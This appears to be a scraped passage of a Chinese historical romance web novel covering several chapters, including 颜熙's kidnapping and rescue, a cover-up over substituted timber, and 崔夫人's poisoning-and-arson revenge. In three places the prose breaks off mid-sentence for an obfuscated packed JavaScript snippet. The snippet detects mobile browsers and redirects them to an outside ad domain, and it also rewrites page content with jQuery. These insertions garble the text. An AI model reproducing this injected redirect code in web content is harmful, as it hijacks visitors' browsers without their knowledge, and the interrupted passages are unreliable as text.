水滴溅落在她的脸颊上,脖子上,湿冷的触感让她下意识地打了个哆,睁眼看去,有不远处有一艘渔船。皮肤黝黑的少女站在船头,又惊恐又诚恳地向她道歉:“娘子见谅,我没看到娘子在休息,不是有意冒犯,还请娘子原谅!” 袁瑾擦了擦脸上的水珠,淡声道:“无事。只是下次当心些,免得遇到麻烦。” 渔女见袁瑾不计较,松了口气:“多谢娘子提醒,小人记住了。”想了想,从船上拎出一条鱼:“如果娘子不嫌弃,就请收下此鱼吧,就当小人的赔礼。” 那鱼鳞片黑亮,腹部雪白,线条流畅,即便袁瑾是个外行,也知道此鱼定是肉质鲜美。反观少女衣衫破旧,赤/裸的手脚在秋风寒水的鞭挞下又红又肿,实在让人不好意思白拿她的东西。 袁瑾刚打算推辞,熟悉的童声传来:“恩人!”抬眸,原来是中元时遇到的小娃娃。她圆溜溜的大眼睛里洋溢着笑意,让人不住地放松片刻。她浅浅一笑:“不是说不用叫我恩人吗?” “可是恩人也没又告诉幺女叫恩人什么啊。”幺女一板一眼地回答。 袁瑾一想确实如此,笑道:“确实是我疏忽了。幺女以后就叫我阿姊吧。” “嗯!阿姊!” “哎。” 渔女啊了一声:“原来娘子就是书院的建造者啊。”她的歉意又重了几分:“真是罪过,要不您再拿两条鱼回去吧。” “不用了。”袁瑾摇了摇头,“这鱼也是娘子辛苦所得,我怎好白要?” “嗐,您也太客气了。您就收下吧,否则我心难安。难道说您还在生气?”渔女细眉上扬。 “阿姊就收下吧!阿瑶姐姐的鱼可好吃了!”幺女帮腔。 言及至此,再推辞就显得不识抬举了。袁瑾琢磨了一下,说道:“我一会儿还有事,不太方便带着鱼。不如这样吧,我买下娘子这一船的鱼,劳烦娘子一会儿把他们都送到袁府去。” 渔女瞪大眼睛:“都要?” 袁瑾点头。 “会不会太多了?”渔女有些不好意思,“您是不是觉得……” “没有。”袁瑾打断了渔女的话,“我也是才想起来,这几天府中繁忙,一干人等跟着我忙上忙下,不免劳累,打算做全鱼宴犒劳上下。今日能在这遇到娘子,也算是省了我一番功夫。” “难怪蝶衣娘俩总是念叨娘子,您真是一个好人。”渔女揉了揉眼睛,冲她笑道。 好人吗?袁瑾想,我大概还差得远吧。 幺女趴在船舷上,跟袁瑾分享喜事:“阿姊,阿姊,你知道吗?书院还有几天就要建成了,幺女马上就能读书啦!” 袁瑾恍惚了一会儿,才想起来书院要在这个月月末竣工。 “你这个小傻瓜,你阿姊是建造书院的人,能不知道吗?”渔女敲了幺女的脑门。 幺女嘿嘿一笑:“我忘了。” 渔女笑着摇了摇头。 时间在聊天中悄然流逝,不知不觉已经临至晌午。 “得回去了。”渔女抬起手罩在额前,“要不然孟老翁该饿肚子了。” 袁瑾:“孟老翁?” 幺女抢着回答:“就是住在山上的孟翁翁。” 袁瑾想到了一个人,询问:“陈大将军的守墓人?” 渔女:“就是他。娘子也认得他?” “嗯,祭拜陈大将军时见到过他。”袁瑾又问,“他的餐食都是你送上山的?没有儿女吗?” “他一生未娶,没有儿女。以前他都是自己上下山置办,但最近伤了腰不便下山,所以大家伙就轮流上山送饭,今天该我了。”渔女说道。 “原来如此。”袁瑾点了点头。 两艘小船一前一后地移动,木浆拍打在湖面发出哗啦啦的声响,绞碎了一池水光。 幺女坐在船头,晃动着两条腿,唱起了歌谣。 “献岁发,吾将行。春山茂,春日明。园中鸟,多嘉声。梅始发,柳始青。泛舟舻,齐棹惊。奏《采菱》,歌《鹿鸣》[1]……” 袁瑾一怔,颜熙是不是也念过这首诗? 困扰她多时的疑问竟然在这个时候有了答案——颜熙喜欢我。回忆中那些零碎的细节拼凑在一起,描绘出颜熙的内心。 也许连颜熙自己都不知道他心悦于她,可当他意识到自己的心意时,已为时已晚。于是他按下了万千思绪,选择不去打扰,为的只是她毫无负担地“追求崔闻”…… 那些爱意溢出的瞬间在脑海中划过。那么多次,有那么多次机会,你怎么没发现呢?袁瑾倘若你早一点发现,是不是就能更好的解决一切,是不是就不会变成现在的局面了? 两相思,两不知[2]。 颜青阳是抱着怎样的心情念出这句话的呢?袁瑾不敢想象,因为她知道那时莫大的哀痛,只要一向到就会心痛。 光影交织中,袁瑾仿佛看到了那个舍身救她,摔得浑身是伤的人。她忽然想问他,颜青阳,倘若没有那次意外,你难道就要眼睁睁地看着我与别人死生契阔吗? 回忆中的那个人总是笑着,袁瑾忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123140|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住地骂道,颜青阳你这个绝无仅有的大傻瓜! 霞光染红了天地,万物归于虚无,又是杳无音讯的一天。 袁瑾坐在窗前,静静地注视着转鹭灯上飞舞的蝴蝶。 蝴蝶振动着翅膀,终于在夜幕来临之前找到一处栖身之所。晨光初现,木芙蓉上的蝴蝶早已死在了昨夜的寒霜中,美丽的躯壳上满是寒露。 滴答,滴答。 是水珠滴落的声音,颜熙知道自己逃跑的机会来了。 每天水滴声响起后,绑匪就会出门,然后端回一些和了迷/药的汤汤水水喂给他。等到药效发作后,绑匪就会出去一段时间。 颜熙暗自算过时间,推测是一刻钟,不长不短却是他能离开这里的关键。 老旧的房门发出吱吱呀呀的呻/吟,颜熙背在身后的手死死地抓着麻绳。他想,是死是活全在今天了! 嘴里的布团被拽出,在碗口抵在唇边时,颜熙用着半开玩笑的语气说道:“你这一个劲儿地给我灌迷/药,就不怕给我灌死了?” 说完,颜熙的心就开始打鼓。这些时日他逆来顺受,从未说过一句话,突然开口不知会引发什么后果,他得做好最坏的打算。 不过他的话好像起了作用,绑匪的动作停顿了,这说明绑匪犹豫了。于是他趁热打铁,继续说:“一个健全的人天天吃迷药都会伤身,更何况我这个有伤在身的人?我想我死了应该对你没什么好处,对不对?” 四下陷入一片诡异的沉寂。 就在颜熙思考要不要再说上几句的时候,抵在唇边的碗移走了,塞在嘴里的布团又回来了。他侧耳倾听,脚步声渐渐远去直至消失不见。 这是……被说动了?颜熙想了想决定先“观察”一会儿,看看对方是不是另有图谋。 大约过了一字钟,确定没有任何危险后,他松开握住的麻绳,调整姿势双臂猛地向下一沉,被磨成一条细线的麻绳撞在凸起的木头上,顿时断成两截。被束缚多日的胳膊终于重获自由,但酸痛也随之而来。 颜熙顾不得手臂的不适,连忙拔下嘴里的布团,掀开罩在眼睛上的黑布。欲即开脚上的绳索,却头重脚轻,重重地摔在地上。 “嘶——药劲真大。幸亏人走了,不然非得前功尽弃。”颜熙一边躺在地上恢复体力,一边观察周遭的环境。 这似乎是一间茅屋。 屋顶漏了,再不远处的地上留下一个小水坑。除了陈设破旧、窗户被封之外,没有一处像囚/禁之所。 从醒来的那天他就感到奇怪,绑别人的原因无外乎寻仇和求财两种,手段可想而知,但绑架他的人显然太客气了。 出去之后再想吧。 颜熙深吸一口气,费尽九牛二虎之力从地上爬起来,拖着尚未恢复的身体向外走去。本以为要费些功夫才能打开门,结果轻轻一推门竟然开了。 颜熙:“……” 可福祸相依,开门的瞬间,他看到了狞笑的崔言。 颜熙:“……” 29. 第 29 章 “阿母,赏菊宴我就不去了。”屋里传来袁瑾略带疲惫的声音。 母亲知道她心中焦虑,所以并不强迫她去崔府赴宴,却忍不住关心道:“阿母知道你担心青阳,但你自己也要注意自己的身体。” 袁瑾笑道:“放心吧,阿母。没找到人把自己搭进去岂不是太傻了?您放心,我还没那么傻呢。” 母亲轻轻地叹了口气,嘱咐:“有事就让人去崔府找我和你阿耶。” “嗯。”袁瑾乖巧地点点头。 送走了母亲后,袁瑾的笑容渐渐淡了下来,最后消失得无影无踪。不知不觉中走到了颜熙住处,推开房门,希望听到熟悉的腔调,可回应她的只有萧索的风声。 在屋子中走了又走,看了又看,她从未发现竹院安静下来后会如此的寂寥。袁瑾靠在窗户上,看向外面青碧的竹林心道,你一个人待着的时候也会有这样的感觉吗? 无人回答。 袁瑾待了一会儿,拿起刀架上的横刀。老人们说,物有灵,尤其常年跟在主人身边的物件更容易升出灵智。 “倘若你真的有灵的话,就带我找到他吧。” 袁瑾觉得自己是疯了,竟然信了这样的胡话。可,她已经没有别的办法了。 穿过熙熙攘攘的人群,正欲上马,身后却传来喊声:“娘子!等等!小人有发现!” 袁瑾猛地转头,看向来人:“快说!” “小人打听到说崔二郎君在三刻钟前偷偷溜出赏菊宴,带着几个家仆向常青山去了。” 他果然知情!袁瑾攥紧拳头,立刻安排:“我去救人,速去请官差拿人。” “可……” “没有可是。”袁瑾打断仆从的话,“按我说的做,出了事我担着。”不等仆从回答,她立刻翻身上马向常青山飞奔而去。 袁瑾跨坐在马背上,目视前方,神色肃穆,心中却焦急万分。她不明白,为何原本不算远的路程为何在马蹄下不断延展,就好像一辈子都看不到终点一样。 快点,再快点,要来不及了! 她在心中祈祷着,颜青阳你可千万要撑住! 骏马奔腾而过,如疾风过境,卷起地面的落叶。 颜熙盯着飘然而落的树叶心想,倘若我能早些向幼瑛道明心意,是不是就会少一桩憾事? “怎么没声了?你刚才不是挺能跑的吗?怎么现在不跑了?”崔言戏谑的声音响起。 颜熙敛去心中的惆怅,淡淡地扫了崔言一眼。可不知怎么了,对方竟勃然大怒,将他一脚踹倒在地。力道之大,差点让他呕血。 “你们以为自己是谁?竟敢蔑视我!目无尊卑的贱种,杂碎!你们有什么资格入我崔府的大门!”崔言满嘴恶言秽语让人不敢相信他是个世家子弟,越说越激动,越激动动作越大,掩盖在衣领下的伤疤暴露在众人眼前。 颜熙不用猜就知道,是袁瑾干的。他轻轻一笑,不愧是袁幼瑛,能动手绝不动口。 “你笑什么!”崔言暴跳如雷。 “我笑凤凰窝里出了只山鸡,名声怕是早晚毁于一旦。”颜熙懒洋洋地回答。 崔言一时间没反应过来。 颜熙忍痛笑出了声。 崔言反应了过来,拎起颜熙的衣领:“你骂谁是山鸡!” 颜熙歪着头,讥笑:“谁应就是谁。” “你——”崔言扫到了挖好的土坑,怒极反笑,“好,很好,你最好能一直傲下去。”手一松,招呼仆从:“把他给我推下去,埋了。” 颜熙冷静道:“多行不义必自毙[1]。” 崔言不屑道:“这话也就骗骗你们这些下等人罢了。等你站到我这个位置,你就会知道只要家族足够强大,脚下皆蝼蚁,就算是天王老子也管不了我!” “崔言!”一声怒喝打断了崔言的狂妄之言。 颜熙看到袁瑾,心中一喜,但惊惧马上盖过了欣喜,喊道:“别管我快走!” 崔言从惊恐中回过神,推着身边的仆从大喊道:“愣着干什么?杀了她!” 壮仆如得到命令的猎犬一般扑杀袁瑾。 袁瑾临危不乱立刻抽刀杀贼。 一时间林中刀光剑影,厮杀不断。 袁瑾习武十几载,一路摸爬滚打,受过大小伤无数,最知人体薄弱之处。加之身形灵巧,很快就放倒三名壮仆。余光中瞥见崔言要带着颜熙逃命,欲追赶却被壮仆挡住了去路。 该死!她在心中咒骂。 眼见颜熙将被掳走,袁瑾越来越着急,下手也越来越狠,可仍旧无法冲破包围。就在这时,山下传来一阵急促整齐的脚步声。 “官府查案,所有人放下手中兵器,双手抱头!” 神兵天降,堵住了崔言的去路,更乱了壮仆的“军心”,刚才还如狼似虎的群仆纷纷丢下兵器束手就擒。 然而还没等袁瑾松口气,崔言以迅雷之势捡起地上的短剑横在颜熙的脖子上。 袁瑾心头一紧,失声质问:“崔言你要干什么!” “我还是第一次在你脸上看到这种表情。”崔言手中的短剑逼近颜熙的脖子,“看来我这次是抓到你的心肝儿了。” 县尉劝道:“崔郎君不要冲动,你——” “这里还轮不到你说话!”崔言眼神轻蔑,“什么东西,也配跟我说话。” 县尉脸色难看。 袁瑾拧起眉头,她单知道崔言被崔君宠得眼高于顶,却不想崔言竟然连县尉都不放在眼里了。长此以往,迟早为祸一方,当今早除之。 “袁幼瑛这次算我倒霉,今天被你抓住了。”崔言用短剑拍了拍颜熙的脖颈,“但我也不是没有筹码。不如做个交易,你放我走,我把你的心肝儿还给你?” 不等袁瑾作答,颜熙低低的笑声先传入她的耳中。循声望去,阳光正好,穿过层层叠叠的枝叶,朦胧了他的身影,给人一种若即若离的感觉。袁瑾直觉不妙:“颜青阳你要干什么?” “我还以为崔郎君有多厉害,没想到,”颜熙嗤笑,“也不过如此。” 崔言:“你什么意思!” “我的意思还不明显吗?”颜熙一副“孺子不可教也” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123141|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样,“好吧,我再说得明白点。” 袁瑾眼皮猛地一跳,厉声呵斥:“颜青阳你给我闭嘴!” 颜熙充耳不闻,自顾自地嘲弄崔言:“我说你就是给孬种。嘴上说着什么都不怕,可到头来还不是得求我们放你一条生路?” 崔言:“你闭嘴!” “我为什么要闭嘴?”颜熙继续刺激崔言,“你既做得出来还怕别人说吗?为了活命向自己最看不起的人求饶,我该夸崔郎君一句能屈能伸吗?” “我叫你闭嘴!你听不见吗!”崔言被彻底激怒向颜青阳挥动短剑。 “颜青阳!”袁瑾发出绝望地哀鸣。 就在这千钧一发之际,为陈大将军守墓的老者从崔言身后出现,紧紧地抱住了崔言的胳膊。 形势发生逆转,袁瑾抓紧时机冲上前,一把夺下短剑,抓着颜熙的胳膊把人拉到身后,最后一脚踹倒崔言,一套动作行云流水,毫不拖拉。 可做完一切的袁瑾却怔怔地站在原地,神情恍惚。大脑一片空白,她完全不知道自己刚才做了什么。 “……袁小幺?袁幼瑛!呼吸,呼吸啊!” 直到被颜熙抓着肩膀用力摇晃,她才意识到自己竟连呼吸都忘了。看着眼前的颜熙,想起他刚才的“自取灭亡”,怒火以排山倒海之势吞没了心房,她迫切地需要一个发泄的出口。 “啊!”颜熙面露痛苦,“疼疼疼,祖宗,快高松贵口,要出血了!” 袁瑾充耳不闻,直到一股铁锈味在口腔蔓延才松口。她抹掉唇上的血迹,冷笑:“你刚才不是想死吗?我帮你啊。” 颜熙:“……我那不是……” “不是什么?不是替我解决麻烦?你凭什么替我做决定?”袁瑾质问,“你凭什么认为我能眼睁睁地看着你死在我眼前?颜青阳在你心里我就是一个冷血无情的人吗!” “我不是,我没有,你听我解释。”颜熙眼前一黑,踉跄了好几步。。 “你怎么样了?”袁瑾吓得魂不附体,“哪里难受,我这就让家仆叫大夫来。” 颜熙摇了摇头:“我没事,可能是累了吧。” 袁瑾就算有一肚子的怒火也不能冲病人发,只道:“你给我等着,这事没完。”说完,将人推给仆从,自己去拜别县尉。结果她却在犯人中看到了老者,她一愣,问道:“那老者所犯何事?” 县尉也是一愣:“娘子难道不是因为知道此人挟持了颜郎君才到这里救人的吗?” “我并不知情。我是得知崔言来了才来的。”袁瑾又问,“难道不是家仆请您来的吗?” 县尉否认:“本官是发现有人用松木充当杉木以此牟利,推测颜郎君是因为发现了此事才遭毒手。走访多日,才发现此人是主谋。因担心颜郎君安慰,故火速上山营救。我等是在路上遇到袁娘子的仆从。” “他若心怀歹意杀了我逃命便是,又何必留我到现在。”颜熙在仆从的搀扶下慢慢走近,“熙怀疑此事另有隐情,还请上官明鉴。” 三方交换信息,明朗的案情又一次变得扑朔迷离。 30. 第 30 章 “就如上官所说,小人心生贪念,利用夫人的信任,牟取私利。被颜郎君发现后,害怕被揭穿,于是抄起手边的木棍狠狠地砸向颜郎君……”老者坦白。 “也就是说你想杀了颜郎君。”县尉一语击中。 老者羞愧地低下头。 县尉又问:“那之后为何放弃了?” “小人一看到血就清醒了,小人只想弄些钱,并不像杀人!”老者扬起头,语气激动,“这些天小人一直懊恼,不该动贪心。上官,求您看在小人救下颜郎君的份上放过小人吧,小人再也不敢了,再也不敢了!” 听着老者的求饶袁瑾的心里却是怪怪的,打量着老者,黝黑的脸上满是褶皱,双手粗糙,指甲还带着泥,典型的庄稼汉。还记得初见时对方表现出的热情淳朴,对陈大将军的崇敬,那绝非流于表面的虚情假意。 会是什么呢? 她回忆着与老者的一言一行,想要找到被遗漏的线索。 我记得第一次见面是在陈大将军墓前,那天他讲了一件关于陈大将军的往事。 会跟这件往事有关吗? 袁瑾重新看向老者,听着他的苦苦哀求:“……小人一时迷了眼,辜负了夫人的信任,但看在小人年事已高的份上,求上官饶了小人吧……” 等等,她似乎抓到了重点,辜负了夫人的信任。如果她没记错的话,县尉曾提到老者是崔夫人的旧仆,而且是很信任的仆从。那他是因为什么离开了崔府? “我那时护送娘子归家,却遇到了盘踞于此的匪寇……”老者当日说的话浮现在脑海中。 难道是因为保护不力被逐出府?袁瑾想。 不,不对。老者说过陈大将军出手相助令他转危为安,这证明他并未因此事被逐。 那会因为什么? “后来几番打听才知道那郎君是临县有名的义士,那日组织了邻近青壮与官府一同围剿匪寇。”老者的话又一次出现在脑海中。 袁瑾忽地握拳心跳加速。 “陈大将军墓前的沙参花是崔夫人送的,对不对?” “师父目前的花是不是崔夫人送的?” 她和颜熙对视一眼,在彼此的眼神中知道了两人想到一处去了。 凭借崔君的地位当日就能找到陈大将军道谢,怎么还会花费几天工夫打探?可如果换个思路想,花几天时间打听的人不是崔君呢? 遭遇危险,得一武艺高强的郎君相救,观其品行高尚,又有游侠之风。尚在豆蔻年华的崔夫人会不会心动?几番相处,陈大将军又会不会为知书达理,才情一绝的崔夫人折腰? 老者的停顿,无声地回答了两人的问题。 袁瑾心下悲凉,难怪陈大将军无论如何都要参加崔夫人的出阁宴,却不语往事;难怪崔夫人在陈大将军故去后帮衬嫂嫂,甚至托着病体见证嫂嫂的昏礼。曾经的疑问在此刻都有了答案。因门第之差错过,崔夫人该多难过…… 萧瑟的寒风榨取了松木的枝叶,木质香中多了一丝冷冷的味道。惋惜之情瞬间被惊惧掩盖,她猛地看向县尉:“上官,赏菊亭的松木撤下来了吗?” 县尉回答:“已经派人告知崔夫人了。” 袁瑾心头一紧:“糟了!快回崔府!” 县尉不解。 颜熙跟上了袁瑾的思路,挑重点说:“此事恐另有主谋,眼前老者只是将你我引出城的诱饵,真正的主谋此刻恐怕已在崔府行凶。” “什么!”县尉瞪大眼睛。前往崔府赴宴者多为本地极具声望者,这些人要是出了意外,他丢了官事小,本地大乱事大。他连忙下令:“留几个人看着犯人,其他人跟本官速去崔府!” 马在山脚下,一路跑下山出了一身汗,骑在马背伤被风一吹,肯定是要生病的。但袁瑾管不了那么多,父母还在危险之中,她必须要救他们出来! 两名捕手在前面鸣锣开路,尖锐紧密的锣声打破了夕阳西下的宁静。 一脚跨进崔府的大门,就听到有人大喊:“不好了!走水了!” 与此同时,橘红色的火蛇游走在屋脊游廊上,动作飞快,吞噬着目之所及的一切。很显然火势蔓延的速度快得诡异,像极了志怪话本中的鬼火。 见状,所有人的颅内发出嗡的一声。 袁瑾一把抓住那人的手腕,声音紧绷:“我阿耶和阿母呢?” “小,小人……” 仆从被吓了一跳支支吾吾了半天也没有个答案,袁瑾顿时烦躁起来:“你——”这时,颜熙将手搭在袁瑾的肩膀上,安抚性地拍了拍。袁瑾稳了稳情绪,耐着性子问道:“究竟发生了什么?你原原本本地说。” 仆从吞了吞口水,结结巴巴道:“小,小人也不清楚。就是听说赏菊亭那边有人投毒。可,可等到赶去的时候,赏菊亭失火了。” 投毒!袁瑾身体蓦地一空,被风一吹竟不住地向后踉跄了几步。 宽大的手掌抵住了她的脊背,撑住了她。颜熙温沉的嗓音从身后响起:“别急,只是仆从的一面之词,做不得数,我们分头去找。” “对,不能作数,我们得分头去找。”袁瑾攥紧拳头。 滚滚浓烟中夹杂一股刺鼻的松香味,呛得袁瑾直咳嗽。 “把这个抵在口鼻上会好受一些。”颜熙递来一方湿绢帕。 袁瑾接过绢帕,又走了几步,火光中出现了一道跌跌撞撞的身影。定睛一看,原来是崔闻背着萧婵逃出了火海。 萧婵除了扭伤了脚并无其他伤势,反观崔闻面色灰暗苍白,直冒冷汗,整个人摇摇欲坠。袁瑾和颜熙连忙上前一人扶住了一个。 颜熙:“发生什么了?” 萧婵捡重点说:“通古吃了东西后身体不适,我扶他去休息,还没等大夫来,外面就起了大火。我带通古离开的时候被人撞倒,扭伤脚了,幸好遇到你们否则……” 袁瑾想起了仆人口中的投毒,心头一紧:“我阿母和阿耶呢!” 萧婵疑惑:“我记得他们有事离席了,你们没有遇到吗?” 袁瑾看着已经说不出话的崔通古,抿了抿嘴,安排道:“青阳你带着我表姐和通古先离开,我继续找阿母和阿耶。” 颜熙也不啰嗦,对她说道:“你自己当心,别逞强,我马上回来。” 袁瑾胡乱地点头。 熊熊烈火如同一只发了疯的野兽,四处冲撞,目之所及皆是狼藉。绢帕上的水分已经被炙烤干净,袁瑾又被烟雾呛咳嗽。泪水蓄满了眼眶,火焰模糊成深红色的一团。她有些害怕,害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128321|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕那些可怕的念头会成为现实。 “阿母!阿耶!你们在哪儿!”她无助地呼喊着。 “他们不在这,回去吧。”温沉的女声在背后响起。 听着熟悉的声音,袁瑾猛地转过身,虽然知道崔夫人是那可憎的主谋,可当看到那张面若观音的脸,她仍旧震惊。 为什么是你? 为什么会是你? 为什么受人尊敬的你要选择这条不归路? 袁瑾百感交集。 崔夫人站在距离她几步远的位置,静静地看着她。在火光的映射下,崔夫人纤细的身影恍若鬼魅。 “我只要崔家人的命,并不想牵连无辜。”崔夫人淡淡道。 “是你下的毒。”袁瑾肯定。 “是啊。”崔夫人坦然,“我原本不想用毒的,可是你们查得太快了,我怕你们把他们救走,也只能再‘多此一举’了。” “为什么?”袁瑾不禁上前一步,“您明明有别的路……” “没有了。”崔夫人打断了她的话,语气愤恨,“这个家从来都没有我的位置,从来也没有!我只是他们谋取利益的工具,是助他们平步青云的垫脚石!我的父亲,我的兄弟,从未爱过我,一刻也没有!” 燃烧的木头从屋脊坠落,落在干草上,又是一场燎原之势。 崔夫人望向火海,脸上浮现一丝快意:“既然他们没把我当成家人,那就把这些年从我身上得到的都还回来吧。” 袁瑾抿了抿嘴:“陈大将军会难过的。” 提及心上人崔夫人愣怔许久,才轻声说道:“我还以为已经没有人知道这件事了。”明亮的火光映在她的眉宇间却也化不开那浓稠的郁气。 她闭上眼睛,自言自语:“我刚认识他的时候,他还是个意气风发的少年。大家都说他嘴巴厉害,一点也不饶人。可不知为何,他在我面前不仅不伶牙俐齿,反而笨口拙舌,耳尖更是时不时地染上一抹胭脂红……” 提起难得自在的时光,崔夫人的声音含着丝丝笑意。 “我最喜欢绚烂的盛夏,城郊的草场会是一片青碧,微风吹过的时候,淡紫色的沙参花会轻轻摆动,飘出淡淡的香味。我和他会骑着马,奔驰在草场中,是那么的自由,那么的快乐。我等了好多年,终于可以回到那个时候了。” “等等!”袁瑾察觉不对,在她开口的那一瞬间,崔夫人张开双臂冲进了烈火之中,脸上是从未有过的欢喜。 “崔夫人!”袁瑾下意识地伸手阻拦。 身后却传来撕心裂肺的喊声:“幼瑛!” 没等袁瑾回过神,一道黑影扑到在眼前,腰身一紧,天地在眼前飞快的旋转。愣怔时,轰的一声响起,建筑倒塌。火苗飞溅在两侧,零星的几点烧穿了衣服。 “青阳!幼瑛!” 嫂嫂的惊呼声叫醒了袁瑾,她这才发现被颜熙护在怀里,四目相对,对方脸色苍白,勉强地冲她笑道:“还好,我没连累你……”话还没说完,一头撞在了袁瑾的肩上。 “颜青阳你怎么了?颜青阳!”衣衫被打湿,袁瑾心里有了不好的预感,伸手一摸,殷红的鲜血在火光下是那么的刺眼。袁瑾瞳孔一震,大喊道:“快来人,嫂嫂救命!快叫大夫!快来救救青阳!” 31. 第 31 章 一晃大半个月,一切都已尘埃落地。 在寒冬到来的日子里,阳光渐行渐远,翠绿的竹叶上是一层厚厚的白霜。屋内的炭火烧得正旺,将恼人的寒意阻挡在门外,留下一片暖意。 袁瑾坐在凳子上,一言不发地打量颜熙。面色极差,唇无血色,一看就是大病一场。想想也是,一个人几天之内脑袋连遭两次重击,怎么不算大病一场?按照魏大夫的话来说,没成傻子就该烧香拜佛了。 颜熙端着药碗,观察着她的表情,试探着问道:“……太烫了,我凉一凉再喝。” 袁瑾哦了一声,目光仍没离开颜熙。 “……”颜熙顶不住压力,深吸一口气,做足了心理准备,才端起乌黑的汤药一饮而尽。 在药汤入口的瞬间,颜熙的身体猛地顿住,抓着药碗的手骨节泛白。不用猜就知道这碗药有多苦。 活该。袁瑾悠然自得地欣赏着颜熙皱成包子的脸。 “终于笑了。”颜熙放下药碗,“这几天袁娘子总是板着一张脸,小的可是战战兢兢啊。” 袁瑾立刻敛去了笑容,生硬地说道:“我没笑,你看错了。” 颜熙:“还没消气啊。” 袁瑾回了个“你说呢”的眼神。 “对不起,那天我不该临阵脱逃。”颜熙见状叹了口气,抓了抓头发,“我那天脑子太乱了,一时没了章法。你鼓起勇气跟我说心里话,我却一言不发地把你推给萧娘子实在是太没礼数了,你应该生气。” 他抬起头,注视着她:“你想怎样出气都行,但能不能别不理我?我真的知道错了。” 黑黝黝的眼眸眼巴巴地望着她,袁瑾的心不由地软了几分,可一想到在山上发生的一切,软下的心又一次硬了起来。 “颜青阳,你我相识这么多年,你真的觉得我会因为这些小事跟你生气?”袁瑾反问。 颜熙愣了愣。 袁瑾不欲再说,起身拿起药碗,平静道:“等你弄清楚我到底在因为什么而生气的时候,再来找我吧。” 出门时,她碰到了前来探望颜熙的嫂嫂和崔闻,随便寒暄了几句便各自离开了。不过她没想到午后还能在长廊上遇到崔闻。 “来找表姐?”袁瑾问。 崔闻犹豫片刻才点头。 袁瑾观崔闻神色有异,问道:“你有心事?” 崔闻点头:“有些事情不知道该怎么办才好。” 袁瑾明白了:“来找我吐苦水?” 崔闻失笑:“算是吧。” “那就边走边说吧。”袁瑾耸了耸肩说。 沿着长廊走了一段距离,崔闻才缓缓开口:“这些天我总是在想,如果我没有揭开那层遮羞布,让一家人糊里糊涂地过下去,姑姑是不是就不会如此绝望了?” “不会。”袁瑾不假思索,“压垮崔夫人的从来都不是不能和心爱之人终成眷属。真正让她绝望的是父亲的偏心,是兄弟的冷漠,是一家人的忽视。祸根已种,就算没有你,她迟早有一天也会爆发。” 袁瑾曾和陈百潼一起去替整理了崔夫人的旧物,让她记忆最深的是一封和离书。它静静地躺在书信之上,向每一个人诉说着那段尘封的过往。 本应在草原自由驰骋的骏马被关在了亭台楼阁里,本应飞往桃源的鹤鸟被塞进了世俗的牢笼里。现在想起世人对这对神仙眷侣的艳羡,袁瑾只觉得讽刺。 “袁娘子还是这般一针见血。”崔闻陷入了自己的世界,没留意袁瑾的神情,自顾自地说道,“我问我自己恨不恨姑姑,但说实话,我到现在也没个答案。” 他看向结了冰的湖泊:“她要杀我,杀我全家,我应该恨她。可一想起她对我的好,我就没办法像恨仇人那样地恨她,但又没办法释怀她做的事情。”最后苦笑一声:“或许我就是这样软弱的人吧,既没办法狠心去恨,也没有勇气原谅。“ 袁瑾不太会安慰人,只是默默地听着。 “其实我还有些庆幸祖父未向萧氏提亲。”崔闻忽然说道。 袁瑾一愣:“什么?” 崔闻又说了一遍:“我有些庆幸自己还未向萧氏提亲。” 袁瑾拧起眉头:“为什么这么说?” 崔闻叹了口气:“袁娘子当真不懂?姑姑和畅今的事情已经人尽皆知,崔家已声名狼藉,我不想她因我受此非议。” 袁瑾盯着崔闻看了一会儿,咋舌:“我发现你不愧是颜青阳的好友,脑子想的东西还真是大同小异。我是该夸你门两个志同道合,还是该说你们两个是一丘之貉?” 伤感的氛围立刻消失得一干二净,剩下愣住的崔闻。 袁瑾忍不住地翻了崔闻一眼,反问:“你难道没想过我表姐与你疏远后会有人说她背信弃义,是个不能患难与共的人?” 崔闻:“我——” “我什么我,我看你就是顾头不顾尾!”袁瑾打断了崔闻的话,“在大事上擅作主张你不会觉得自己很贴心吧?” 崔闻:“……”好像被迁怒了。 袁瑾撇了撇嘴,看向崔闻:“崔通古你知道我这段时间体会最深的是什么吗?” 崔闻摇头。 “生活是我自己的,我活得开心最重要。其他人的话爱听听,不爱听的当屁放了。”袁瑾环起手臂,“尤其是经历这糟糕的一年,我更加肯定我是对的。” 崔闻看了她一会儿,低下头笑了起来:“人都说我博学,可到头来我才是那坐在水井中的青蛙。” 袁瑾切了一声:“别以为说好话恭维我,我就不会告诉表姐你今天说的蠢话。” “我所言皆是肺腑之言。”崔闻又说,“刚才去探望青阳时,见娘子情绪不高,可是跟青阳起了争执?” 